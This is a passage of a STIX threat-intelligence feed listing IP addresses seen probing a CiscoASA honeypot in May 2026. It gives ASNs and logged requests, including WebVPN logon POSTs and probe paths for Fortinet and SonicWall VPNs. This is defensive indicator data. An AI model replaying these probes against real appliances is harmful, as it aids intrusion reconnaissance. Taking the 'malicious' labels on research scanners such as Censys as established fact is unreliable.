      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:20:10.000Z",
      "valid_until": "2026-06-23T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-06T00:22:10.243Z",
          "last_seen": "2026-05-22T21:03:04.105Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14956 (RouterHosting LLC)",
      "id": "indicator--fb55a3bd-71df-4208-ad56-e0ff3f6fd82d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '144.172.101.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:20:10.000Z",
      "valid_until": "2026-06-23T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-22T21:38:52.322Z",
          "last_seen": "2026-05-23T02:26:20.663Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14956,
          "as_org": "RouterHosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /healthz HTTP/1.1\" 404 - geo: US; ASN 36352 (HostPapa)",
      "id": "indicator--a84f160d-4bd0-42bd-b6aa-6d9582ca9583",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.94.204.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T22:20:10.000Z",
      "valid_until": "2026-06-23T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-22T21:51:08.995Z",
          "last_seen": "2026-05-22T21:51:08.995Z",
          "country": "United States",
          "country_code": "US",
          "asn": 36352,
          "as_org": "HostPapa",
          "event_types": [
            "\"GET /healthz HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--740bd255-9e2e-491c-bac2-d757fe70bec0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T23:20:10.000Z",
      "valid_until": "2026-06-23T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-22T23:06:53.649Z",
          "last_seen": "2026-05-22T23:07:08.249Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T00:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--115d14f7-fe6a-42e7-b8b9-f81eb7bb5ce0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:20:09.000Z",
      "valid_until": "2026-06-24T00:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-22T23:22:13.450Z",
          "last_seen": "2026-05-31T05:10:46.014Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--f01b48ad-32a1-4a77-ab41-d7055c4d015a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:20:10.000Z",
      "valid_until": "2026-06-24T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-23T00:38:26.911Z",
          "last_seen": "2026-05-23T00:38:27.479Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--eb539143-7406-4d9e-8738-7d3ee567b265",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.221.248.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:20:10.000Z",
      "valid_until": "2026-06-24T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-23T00:56:12.412Z",
          "last_seen": "2026-05-23T00:56:15.413Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--337538ae-fc5c-486f-8a71-c25ec6a6c5fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.212.83.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:20:10.000Z",
      "valid_until": "2026-06-24T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-23T00:56:57.873Z",
          "last_seen": "2026-05-23T00:56:57.873Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--a995d97f-909c-4002-9c3c-904b73cd4268",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.221.33.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:20:10.000Z",
      "valid_until": "2026-06-24T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-23T00:56:05.582Z",
          "last_seen": "2026-05-23T00:56:05.582Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--fed758bd-83c2-47bd-b7f0-5c8e92e8791c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:20:10.000Z",
      "valid_until": "2026-06-24T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-23T01:57:28.519Z",
          "last_seen": "2026-05-23T01:57:31.521Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--d7cff6e3-7755-4c9b-8c0f-f5cd6120c60d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.251.86.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:20:10.000Z",
      "valid_until": "2026-06-24T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-23T03:11:03.649Z",
          "last_seen": "2026-05-23T03:11:07.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--976995fa-8535-4edd-a816-07d736c7258e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:20:10.000Z",
      "valid_until": "2026-06-24T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-14T06:54:20.614Z",
          "last_seen": "2026-05-26T18:53:45.599Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T06:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:20:09.000Z",
      "valid_until": "2026-06-24T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-23T05:30:29.948Z",
          "last_seen": "2026-05-23T05:36:42.966Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T06:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e3842624-6817-4f7a-9f16-c9a751193d82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:20:09.000Z",
      "valid_until": "2026-06-24T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-23T05:34:56.798Z",
          "last_seen": "2026-05-23T05:34:56.798Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T06:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--f0b165da-b7ec-4f97-b934-3afff3693d1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:20:09.000Z",
      "valid_until": "2026-06-24T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-23T05:32:41.528Z",
          "last_seen": "2026-05-23T05:32:41.528Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T06:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--7fb1d0ed-87a3-4ea8-9798-733306fd82d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:20:09.000Z",
      "valid_until": "2026-06-24T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-23T05:33:26.513Z",
          "last_seen": "2026-05-23T05:35:05.770Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T06:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b68acf7d-903e-4036-aa8b-cb595e80bbfd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:20:09.000Z",
      "valid_until": "2026-06-24T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-23T05:34:58.446Z",
          "last_seen": "2026-05-23T05:34:58.446Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a495af29-a9f6-4c05-9c61-22aa58490b7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:20:10.000Z",
      "valid_until": "2026-06-24T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-14T06:45:42.347Z",
          "last_seen": "2026-05-30T11:53:07.313Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--101fb7d8-7726-41b3-b694-45f6d7039b2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T08:20:10.000Z",
      "valid_until": "2026-06-24T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-23T08:12:52.909Z",
          "last_seen": "2026-05-23T08:12:55.912Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: BG; ASN 213474 (HomeLine Broadband LLC)",
      "id": "indicator--ad659fbf-350c-4e64-b30f-0396518c0c14",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.239.147.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:20:10.000Z",
      "valid_until": "2026-06-24T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4525,
          "first_seen": "2026-05-23T08:34:11.026Z",
          "last_seen": "2026-05-23T13:20:02.428Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 213474,
          "as_org": "HomeLine Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.0\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.0\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.0\" 200 -",
            "\"GET /RDWeb HTTP/1.0\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.0\" 200 - geo: BG; ASN 213474 (HomeLine Broadband LLC)",
      "id": "indicator--fd8ae9da-72c4-4708-b389-7ffc746895c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.239.147.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T09:20:10.000Z",
      "valid_until": "2026-06-24T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-23T08:57:06.695Z",
          "last_seen": "2026-05-23T08:57:11.107Z",
          "country": "Bulgaria",
          "country_code": "BG",
          "asn": 213474,
          "as_org": "HomeLine Broadband LLC",
          "event_types": [
            "\"GET / HTTP/1.0\" 200 -",
            "\"GET /api/sonicos/is-sslvpn-enabled HTTP/1.0\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-23T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.0\" 302 - geo: BG; ASN 213474 (HomeLine Broadband LLC)",
      "id": "indicator--fc2a16e8-e154-4ac4-9cff-d61e49557e46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.239.147.15']",
      "pattern_type": "stix",
